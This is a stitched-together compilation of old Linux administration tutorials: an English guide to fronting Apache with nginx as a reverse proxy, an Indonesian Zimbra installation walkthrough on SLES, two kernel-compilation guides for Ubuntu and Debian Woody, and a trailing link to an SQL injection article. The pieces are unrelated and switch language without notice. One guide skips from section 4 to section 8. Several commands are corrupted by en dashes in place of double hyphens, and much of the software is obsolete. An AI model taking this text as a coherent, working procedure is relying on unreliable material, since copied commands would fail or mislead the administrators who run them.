nginx is a very small, fast, and efficient HTTP server with a lot of built in smarts to allow it to work as a reverse proxy, and not just for HTTP, it also supports SMTP.

I’ve recently updated this site to change the way it works – as it has been struggling – and this brief introduction is mostly the documentation on the changes I made.

The site itself, like many, is made up of a mixture of static resources and dynamically generated content. In our case our dynamic content is produced a collection of Perl CGI scripts. The changes described in this brief introduction to using nginx would apply to any site that had a mixture of static & dynamic resources, so could apply equally well to a Ruby on Rails or PHP-based site.

Over the past couple of years I’ve noticed that Apache 2.x would perform well on an average day, but start to struggle and perform less well when under load. Apart from adding more memory to this host I wanted to change the setup to increase the number of connections and hits it could withstand.

My plan was:

• Leave Apache’s configuration as untouched as possible.
  • In case there were problems I wanted to be able to revert any changes easily.
• Leave Apache to serve all the dynamic content as it did currently.
• Place a dedicated smaller, faster, and simpler HTTP server to serve static resources.
  • With the expectation that this would leave Apache to handle the rest of the traffic which it would be able to do without being so distracted.

There are a several ways this plan could have been executed and the two most obvious were:

Shifting Resources Elsewhere

We could split the serving of static resources by moving them. For example rather than serving and hosting http://www.debian-administration.org/images/logo.png we could move that to a different domain, such as http://images.debian-administration.org/logo.png.

We could have created another sub-domain “static.” to host any other content, such as CSS and Javascript files.

This would allow us to easily configure a second webserver to handle the static content (perhaps on a different host, but most likely on the same one). The downside to this approach would be the required updates to our site code, templates, and other files.

Introduce A Proxy

To avoid moving resources around, and the overhead this would entail, the most simple solution would be to place a proxy in front of Apache. This would examine the incoming HTTP request and dispatch it to either:

• Apache if it were a request for /cgi-bin/
• Another dedicated server for all static resources (e.g. *.gif, *.png)

The decision to use nginx was pretty simple, there are a few different proxies out there which are well regarded (including pound which we’ve previously introduced for simple load-balancing). nginx looked like the most likely candidate because it focuses upon being both a fast HTTP server and a proxy.

By working as a proxy and a HTTP server this cuts down the software we must use. Had we chosen a dedicated proxy-only tool we’d have needed to have three servers running:

• The proxy to receive requests.
  • Apache2 for serving the dynamic content.
  • HTTP server for static content.

With nginx in place we have a simpler setup with only two servers running:

• nginx to accept requests and immediately serve static content.
  • Apache to receive the dynamic requests that nginx didn’t want to handle.

Installing nginx

The installation of nginx was as simple as we’d expect upon a Debian GNU/Linux host:

aptitude install nginx

Once installed the configuration files are all be located beneath the directory /etc/nginx. As with the Debian apache2 packages you’re expected to place sites you’d like to be enabled into configuration files beneath a sites-enabled directory.

We’ll not dwell on the nginx configuration files too much – the main one is /etc/nginx/nginx.conf and is pretty readable and sensible. The only change we need to make is to remove the file /etc/nginx/sites-enabled/default.

Configuring nginx & apache2

Configuring nginx itself is very simple, and our actual setup will consist of two parts:

• Configuring nginx to listen upon port 80, and forward some requests to Apache.
• Changing the Apache configuration so that it no longer listens upon *:80, instead another port will be used.

Our site is comprised of two virtual hosts our main main, and our planet. The latter site is by far the most simple one as it has no dynamic component to it, merely static files.

The setup of the static site consists of creating a configuration file for it at /etc/nginx/sites-available/planet.conf with the following content:

#
#  planet-debian-administration.org is 100% static, so nginx can
# serve it all directly.
#
server {
	listen :80;

	server_name  planet.debian-administration.org;

        access_log   /home/www/planet.debian-administration.org/logs/access.log;

	root   /home/www/planet.debian-administration.org/htdocs/;
}

This is sufficient for nginx to serve the virtual host planet.debian-administration.org from the directory /home/www/planet.debian-administration.org/htdocs – and log incoming requests to an appropriate file.

The dynamic handling of our main site is a little more complex. The contents of the /etc/nginx/sites-enabled/d-a.conf configuration file I came up with look like this:

#
#  This configuration file handles our main site - it attempts to
# serve content directly when it is static, and otherwise pass to
# an instance of Apache running upon 127.0.0.1:8080.
#
server {
	listen :80;

	server_name  www.debian-administration.org debian-administration.org;
        access_log  /var/log/nginx/d-a.proxied.log;

        #
        # Serve directly:  /images/ + /css/ + /js/
        #
	location ^~ /(images|css|js) {
		root   /home/www/www.debian-administration.org/htdocs/;
		access_log  /var/log/nginx/d-a.direct.log ;
	}

	#
	# Serve directly: *.js, *.css, *.rdf,, *.xml, *.ico, & etc
	#
	location ~* \.(js|css|rdf|xml|ico|txt|gif|jpg|png|jpeg)$ {
		root   /home/www/www.debian-administration.org/htdocs/;
		access_log  /var/log/nginx/d-a.direct.log ;
	}

        #
        # Proxy all remaining content to Apache
        #
        location / {

            proxy_pass         http://127.0.0.1:8080/;
            proxy_redirect     off;

            proxy_set_header   Host             $host;
            proxy_set_header   X-Real-IP        $remote_addr;
            proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;

            client_max_body_size       10m;
            client_body_buffer_size    128k;

            proxy_connect_timeout      90;
            proxy_send_timeout         90;
            proxy_read_timeout         90;

            proxy_buffer_size          4k;
            proxy_buffers              4 32k;
            proxy_busy_buffers_size    64k;
            proxy_temp_file_write_size 64k;
        }
}

This configuration file has several points of interest, but for full details you’ll need to consult the nginx documentation. The most obvious sections of interest are the rules which determine which content is handled directly by nginx.

You’ll see that we have two different rules:

• A rule which says anything beneath /images should be handled directly.
• Another rule which says regardless of location *.png will always be handled directly.

These rules might seem redundant but it is better to be explicit about our intentions. The rest of the file contains settings for the forwarding of all other requests to the local Apache instance – I made no changes to the sample configuration here.

The other point to note is that I log incoming requests to two files, depending on whether they were proxied to our Apache instance or handled directly. This isn’t really required but it gives an idea of which requests are going where.

With these two configuration files in place we’re almost done, we just need to ensure that Apache is no longer going to claim port 80 as its own. We do this by modifying /etc/apache2/ports.conf to read:

NameVirtualHost *:8080
Listen 8080

<IfModule mod_ssl.c>
    # SSL name based virtual hosts are not yet supported, therefore no
    # NameVirtualHost statement here
    Listen 443
</IfModule>

This will ensure that Apache binds to port 8080 and not port 80. We then make matching changes to our virtual host files. For example /etc/apache2/sites-enabled/debian-administration.org:

#  Debian Administration domain.
#
<VirtualHost *:8080>
        ServerAdmin webmaster@debian-administration.org
        ServerName www.debian-administration.org
        DirectoryIndex index.cgi index.html

        DocumentRoot /home/www/www.debian-administration.org/htdocs/
        ...
        ...

With these changes in place we can switch to using our proxy:

/etc/init.d/apache2 stop
/etc/init.d/nginx start
/etc/init.d/apache2 start

(We stop apache2 so that port 80 becomes available, then start nginx which will use that port, and finally restart apache2 so that it will be available on port 8080 such that nginx can talk to it.)

Note: In this example Apache is listening on port 8080 on all IPs rather than just 127.0.0.1:8080 – I later changed this.

Problems Experienced

Once deployed there were two problems which were initially apparent:

• Lack of IPv6 support.
• Incorrect IP addresses being logged.

Unfortunately the version of nginx available in the Lenny release of Debian did not contain any IPv6 support – which was a real shame as we’ve been running upon IPv6 for quite some time now. (About 3% of our visitors use native IPv6, including myself, and I didn’t want to lose them.)

The solution to the IPv6 problem was to backport the package available in Debian’s unstable distribution (a painless process). Once this was done the nginx configuration file could be updated to read:

  # Listen on both IPv6 & IPv4.
  listen [::]:80;

The second problem was related to how Apache received all connections from the outside world via our local host via nginx. This meant it would believe each incoming request was made from the IP address 127.0.0.1.

Happily there was a very simple solution to this problem, the libapache2-mod-rpaf module for Apache 2.x which will allow the real IP address to be visible to our side, and the logfiles.

The RPAF module takes the IP address which initiated the original connection, and which nginx placed in a X-Forwarded-For header, and ensures this IP address is available to our dynamic scripts & apache logfiles.

Applying this solution was as simple as:

aptitude install libapache2-mod-rpaf
a2enmod rpaf
/etc/init.d/apache2 force-reload

Once this was done our incoming connections were logged correctly, and our code would see the real IP address for each connection rather than the loopback address of the proxy host.

Potential Changes

As you can see from the posted configuration files all incoming requests on port 80 will be either handled directly or proxied – but I made no changes to the handling of port 443, or SSL requests.

We’ve offered SSL for a significant length of time but few visitors use it, so I elected to leave this setup as-is.

If the situation changes then nginx will be updated to proxy SSL requests too – it has support for this, as a perusal of the documentation will suggest.

So far it is too early to tell if this solution has increased our scalability, but I’m very optimistic. Resource usage has certainly fallen and the combination of nginx and apache is a good one that isn’t too complex.

Kemarin sore saya menyempatkan diri membuat sebuah Xen Hypervisor Guest pada server dan mengisi SLES JEOS 64 bit dalam modus paravirtualization untuk digunakan sebagai media testing Zimbra Collaboration Suite 6.0.5. Selesai install,

saya langsung mencoba instalasi Zimbra dengan urutan proses sebagai berikut :

1. Melakukan modifikasi file /etc/hosts sehingga hasilnya seperti berikut ini :
   view sourceprint?

   1.127.0.0.1       localhost

   2.192.168.0.31    mail.namadomain.co.id mail
2. Tambahkan aplikasi sysstat menggunakan YAST | Software | Software Management atau menggunakan Zypper. Sebenarnya masih ada paket lain yang dibutuhkan seperti cron, fetchmail dll, namun modus instalasi text mode/server mode yang saya lakukan sudah secara langsung memasukannya. Kalau ada paket lain yang belum ada biasanya Zimbra komplain pada saat hendak memulai proses instalasi.
   view sourceprint?

   1.zypper in sysstat
3. Melakukan setting DNS agar A dan MX records mengarah ke calon server Zimbra. Klik disini untuk tutorial cara setting DNS Server lokal untuk keperluan Zimbra.
4. Menonaktifkan Postfix dengan perintah sebagai berikut :
   view sourceprint?

   1.service postfix stop

   2.chkconfig postfix off
5. Download file binary installer Zimbra
   view sourceprint?

   1.cd /opt

   2.wget -c http://h.yimg.com/lo/downloads/6.0.5_GA/zcs-6.0.5_GA_2213.SLES11_64.20100202233758.tgz
6. Ekstrak, masuk ke folder, jalankan script install dan ikuti wizard yang diberikan
   view sourceprint?

   1.tar -zxvf zcs-6.0.5_GA_2213.SLES11_64.20100202233758.tgz

   2.cd zcs-6.0.5_GA_2213.SLES11_64.20100202233758

   3.sh install.sh

Instalasi berjalan lancar. Masalah status & logger yang pernah terjadi di Zimbra 6.0.4 sudah fixed dan sejauh ini tidak ada masalah.

Version 1.0
Author: Falko Timme <ft [at] falkotimme [dot] com>
Last edited 11/05/2006

Each distribution has some specific tools to build a custom kernel from the sources. This article is about compiling a kernel on Ubuntu systems. It describes how to build a custom kernel using the latest unmodified kernel sources from www.kernel.org (vanilla kernel) so that you are independent from the kernels supplied by your distribution. It also shows how to patch the kernel sources if you need features that are not in there.

I have tested this on Ubuntu 6.10 Server (“Edgy Eft”) and Ubuntu 6.06 Desktop (“Dapper Drake”).

I want to say first that this is not the only way of setting up such a system. There are many ways of achieving this goal but this is the way I take. I do not issue any guarantee that this will work for you!

1 Preliminary Note

I prefer to do all the steps here as the root user. So if you haven’t already created a root login, you should do so now:

sudo passwd root

Afterwards, log in as root:

su

If you would like to work as a normal user instead of root, remember to put sudo in front of all the commands shown in this tutorial. So when I run

apt-get update

you should run

sudo apt-get update

instead, etc.

1.1 /bin/sh on Ubuntu 6.10 (“Edgy Eft”)

On Ubuntu 6.10, /bin/sh is a symlink to /bin/dash by default. /bin/dash seems to make problems when you compile software from the sources, at least I had that impression. That’s why I make /bin/sh a symlink to /bin/bash instead.

If you are on Ubuntu 6.10, you should do this now:

rm -f /bin/sh
ln -s /bin/bash /bin/sh

2 Install Required Packages For Kernel Compilation

First we update our package database:

apt-get update

Then we install all needed packages like this:

apt-get install kernel-package libncurses5-dev fakeroot wget bzip2

3 Download The Kernel Sources

Next we download our desired kernel to /usr/src. Go to www.kernel.org and select the kernel you want to install, e.g. linux-2.6.18.1.tar.bz2 (you can find all 2.6 kernels here: http://www.kernel.org/pub/linux/kernel/v2.6/). Then you can download it to /usr/src like this:

cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.1.tar.bz2

Then we unpack the kernel sources and create a symlink linux to the kernel sources directory:

tar xjf linux-2.6.18.1.tar.bz2
ln -s linux-2.6.18.1 linux
cd /usr/src/linux

4 Apply Patches To The Kernel Sources (Optional)

Sometimes you need drivers for hardware that isn’t supported by the new kernel by default, or you need support for virtualization techniques or some other bleeding-edge technology that hasn’t made it to the kernel yet. In all these cases you have to patch the kernel sources (provided there is a patch available…).

Now let’s assume you have downloaded the needed patch (I call it patch.bz2 in this example) to /usr/src. This is how you apply it to your kernel sources (you must still be in the /usr/src/linux directory):

bzip2 -dc /usr/src/patch.bz2 | patch -p1 –dry-run
bzip2 -dc /usr/src/patch.bz2 | patch -p1

The first command is just a test, it does nothing to your sources. If it doesn’t show errors, you can run the second command which actually applies the patch. Don’t do it if the first command shows errors!

You can also apply kernel prepatches to your kernel sources. For example, if you need a feature that is available only in kernel 2.6.19-rc4, but the full sources haven’t been released yet for this kernel. Instead, a patch-2.6.19-rc4.bz2 is available. You can apply that patch to the 2.6.18 kernel sources, but not to kernel 2.6.18.1 or 2.6.18.2, etc. This is explained on http://kernel.org/patchtypes/pre.html:

Prepatches are the equivalent to alpha releases for Linux; they live in the testing directories in the archives. They should be applied using the patch(1) utility to the source code of the previous full release with a 3-part version number (for example, the 2.6.12-rc4 prepatch should be applied to the 2.6.11 kernel sources, not, for example, 2.6.11.10.)

So if you want to compile a 2.6.19-rc4 kernel, you must download the 2.6.18 kernel sources (http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2) in step 3 instead of kernel 2.6.18.1!

This is how you apply the 2.6.19-rc4 patch to kernel 2.6.18:

cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v2.6/testing/patch-2.6.19-rc4.bz2
cd /usr/src/linux
bzip2 -dc /usr/src/patch-2.6.19-rc4.bz2 | patch -p1 –dry-run
bzip2 -dc /usr/src/patch-2.6.19-rc4.bz2 | patch -p1

8 Links

• Ubuntu: http://www.ubuntu.com
• The Linux Kernel Archives: http://www.kernel.org

In some cases you might want to compile your own kernel that suits your needs better than the standard kernel that comes with your distribution. I will describe how to do this on a Debian Woody machine (a description for Debian Sarge can be found here!). Please note that this tutorial is for kernel 2.6 only! A tutorial for kernel 2.4 can be found here.

Be aware that there is some risk in doing so! For example, it could happen that your machine does not boot properly after you have installed the new kernel so you might be forced to boot from a rescue CD to repair your system. You have been warned! This document comes without warranty of any kind!

Kernel-Compile-Howto

First login to your Debian machine on the command line as root. Install the prerequisites that we need to compile the new kernel:

apt-get install kernel-package ncurses-dev fakeroot wget bzip2

Then go to /usr/src:

cd /usr/src

Then get the latest Linux kernel source (or the kernel source you need) from http://www.kernel.org/pub/linux/kernel/v2.6/:

wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.8.1.tar.bz2

Unpack the kernel sources:

tar xjf linux-2.6.8.1.tar.bz2

cd linux-2.6.8.1/

It is normally a good idea to take the configuration of your existing (working!) kernel 2.6 as a starting point for the configuration of your new kernel. Usually the current kernel configuration is saved in a file under /boot, e.g. /boot/config-2.6.3. We will load this configuration and then do the changes we desire. If you do not have the config file of a working kernel 2.6 this one might help you.

make menuconfig

Select Load an Alternate Configuration File and enter the location of the configuration file of your current kernel (or upload my kernel configuration to your machine and enter its path):

The configuration of your current kernel will be loaded, and you can now browse through the menu and change the configuration to suit your needs. When you are finished, save your new kernel configuration:

Then run the following commands (please note that make dep is not needed any more for kernel 2.6):

make-kpkg clean
fakeroot make-kpkg –revision=custom.1.0 kernel_image

If the compilation stops with an error, run

make clean

and then re-run the previous commands starting with

make menuconfig

Change the kernel configuration where the error occurs. If no error occurs you will find the new kernel as a Debian package called kernel-image-2.6.8.1_custom.1.0_i386.deb under /usr/src.

cd ../

Now you have to install some packages that are needed by kernel 2.6. Add the following line to /etc/apt/sources.list:

deb http://www.backports.org/debian/ woody module-init-tools initrd-tools procps

Then run:

apt-get update
apt-get install module-init-tools initrd-tools procps

If you are asked the following question:

“If you really want to remove modutils type ‘yes’:”

type yes.

It might also be necessary to update packages like bind9, quota, etc. – depending on your configuration. If you have problems with your existing packages try to get the appropriate package from www.backports.org.

Install your new kernel:

dpkg -i kernel-image-2.6.8.1_custom.1.0_i386.deb

Create a ramdisk of your new kernel (otherwise your system will most likely not boot):

cd /boot/
mkinitrd -o /boot/initrd.img-2.6.8.1 2.6.8.1

We are almost finished now. Edit the image=/vmlinuz stanza of your /etc/lilo.conf and add the line initrd=/boot/initrd.img-2.6.8.1:

# Boot up Linux by default.
#
default=Linux

image=/vmlinuz
        label=Linux
        read-only
        initrd=/boot/initrd.img-2.6.8.1
#        restricted
#        alias=1

Run

lilo

to update your boot loader and reboot your machine:

shutdown -r now

and if everything is ok your machine should come up with the new kernel. You can run

uname -a

to verify that. Good luck!

Update:

This is an excerpt from an email that R (Chandra) Chandrasekhar (thanks a lot for this one!) sent to me regarding the kernel configuration in case you use flash drives and nVidia cards:

“1. If you intend to use flash drives, de-select the following during <make xconfig>:

Block Devices -> Low Performance USB Block driver (BLK_DEV_UB)

There is a clear explanation at http://linux.usc.edu/pipermail/usclug-chat/2004-December/000111.html and at http://dev.gentoo.org/~dsd/gentoo-dev-sources/issues-current.htm#2.6.9-ub on why this is advisable until further development of the ub module.

I had to

apt-get install udev hotplug

to use the flash drive, but it worked like a charm after that!

2. If you have an nVidia card, de-select the following during <make xconfig>:

Graphics Support -> nVidia Riva support (FB_RIVA)

Kernel Hacking -> Use 4Kb for kernel stacks instead of 8Kb (4KSTACKS)

Processor Type and Features -> Local APIC support on uniprocessors (X86_UP_APIC)

To install the nVidia drivers, I followed the HOWTO at http://home.comcast.net/~andrex/Debian-nVidia/index.html and compiled the drivers from the Debian packages after applying the vmalloc_reserve.patch during kernel build.”

Ref http://annotes.wordpress.com/2010/03/11/sql-injection-versi-mysql-4/